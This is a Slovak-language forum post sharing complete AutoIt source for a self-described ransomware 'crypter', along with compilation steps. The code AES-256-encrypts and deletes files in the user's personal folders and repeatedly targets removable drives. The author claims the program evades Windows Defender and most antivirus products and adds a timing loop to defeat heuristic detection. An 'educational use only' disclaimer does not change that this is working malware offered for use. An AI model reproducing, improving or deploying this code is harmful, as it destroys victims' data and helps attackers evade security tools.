asi pred mesiacom som sa rozhodol nakodovať svoj prvý ransomware resp crypter . podmienka bola aby obišiel najpoužívanejše AV , to znamená aby nebol detekovatelný win 10 ohranou (defender a funkcia riadeneho prístupu) + aby ho nedetekovala drvivá väčšina AV .
Na programovanie som zvolil jazyk autoit čo je podla mna najlepší jazyk na malware ktorý umožnuje malware písať efektívne,rýchlo a jednoducho.
Detekcia na úrovni interpretovaných jazykov prebieha tak, že sa analyzujú kľúčové slová (bežne mená funkcií / metód), množstvo a druhy použitých funkcií (špecifické operácie vyžadujú množiny špecifických funkcií / metód). Preto je u týchto jazykov nutná vysoká miera obfuskace kódu, inak nie je možné detection rate znížiť , každopádne v tomto prípade je ciel splnený , lebo obchádza win 10 ochranu + väčšinu av vrátane malwarebytes,avast,kaspersky awg atd. dával som to na virustotal čo slúži ako DB pre av spoločnosti , momentálny stav som neskúmal
Na šifrovanie som zvolil algoritmus AES (256Bit)čo je štandardná klasika ktorá je dostatoče silná ak je silný privátny klúč. následne som spravil aby tento crypter umožnoval šifrovať aj dešifrovať , stačí prepísať v kode GetFilesToCrypt() na GetFilesToDecrypt .
1)
Súbor do exe skompilujete tak že si stiahnete + nainštalujjete jazyk autoit tu:https://www.autoitscript.com/site/autoit/downloads/
2)do textoveho editora vložite kod mojeho crypteru a uložíte ho ako nieco.au3
3) na súbor nieco.au3 kliknete pravým a dáte compile script 64 alebo 86.
kod dávam sem dole
a btw len na vzdelavacie učeli , a na účeli keby si chcete zašifrovať údaje na svojom vlastnom disku , v podobe cryptera je to legálny program , upozornujem ako však exekuujete tento crypter na cudzom počítači bez vedomia majitela je to nelegálne , taktiež pridanie vyhražaciej správy je nelegálne , preto to nerobte !!
Kód: Vybrať všetko
#cs ----------------------------------------------------------------------------
Author: DrCry
funkcie:
AES256 crypter , len na edukačné účeli , nejedná sa o ransomware ale len
crypter pre vlastné účeli . používajte výhradne len na svojom zariadení.
Nenesiem žiadne dvôsledky za zneužitie tohoto softwaru .
#ce ----------------------------------------------------------------------------
; pre dešifrovanie prepíšte GetFilesToCrypt() na GetFilesToDecrypt samozrejme použite istý klúč ako pri šifrovani a používajte na kluc len štandardne písmena a čísla bez diakrytyky a dlznu
#include <Crypt.au3>
#include <File.au3>
$key = "12345" ; klúč bude replacnutý od _Randomstring() funkcie
Func _Randomstring($length)
$chars = StringSplit("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", "")
$String = ""
$i = 0
Do
If $length <= 0 Then ExitLoop
$String &= $chars[Random(1, $chars[0])]
$i += 1
Until $i = $length
Return $String
EndFunc ;==>_Randomstring
Func Crypt($file)
_Crypt_EncryptFile($file, $file & '.CRYPTED', $key, $CALG_AES_256)
FileDelete($file)
EndFunc ;==>Crypt
Func Decrypt($file)
$filename = StringReplace($file, '.CRYPTED', '')
_Crypt_DecryptFile($file, $filename, $key, $CALG_AES_256)
FileDelete($file)
EndFunc ;==>Decrypt
Func GetFilesToDecrypt($path)
$files = _FileListToArrayRec($path, "*.CRYPTED", 1, 1, 0, 2)
For $i = 1 To $files[0]
Decrypt($files[$i])
Next
EndFunc ;==>GetFilesToDecrypt
Func GetFilesToCrypt($path)
If $path <> "" Then
$files = _FileListToArrayRec($path, "*.*", 1, 1, 0, 2)
For $i = 1 To $files[0]
$size = FileGetSize($files[$i]) / 1024
If Not StringInStr($files[$i], '.CRYPTED') And $size < 50000 Then ; Files are encrypted only if they are smaller than50MB
Crypt($files[$i])
EndIf
Next
EndIf
EndFunc ;==>GetFilesToCrypt
Func GetDrives()
$drives = DriveGetDrive($DT_REMOVABLE)
$list = ""
If $drives <> "" Then
For $i = 1 To $drives[0]
$list &= $drives[$i] & '|'
Next
EndIf
Return $list
EndFunc ;==>GetDrives
;==============Encryption / Decryption==========
; môžte pridať alebo vymazať cesty k súborom ktore to bude šifrovat
GetFilesToCrypt(@UserProfileDir & '\Downloads')
GetFilesToCrypt(@UserProfileDir & '\Pictures')
GetFilesToCrypt(@UserProfileDir & '\Music')
GetFilesToCrypt(@UserProfileDir & '\Videos')
GetFilesToCrypt(@UserProfileDir & '\Documents')
GetFilesToCrypt(@DesktopDir)
While True
$drivesfounded = StringSplit(GetDrives(), '|', 1)
For $i = 1 To $drivesfounded[0]
GetFilesToCrypt($drivesfounded[$i])
Next
WEnd
MsgBox(0, "", "Done")
;/==============Encryption / Decryption==========ešte proti Heuristickej analýze môžete pridať napr tento cyklus :
Kód: Vybrať všetko
$begin = TimerInit()
While 1
$dif = TimerDiff($begin)
ConsoleWrite(_BytesToBits(1024) & @CRLF)
If $dif > 1000 Then ExitLoop
WEnd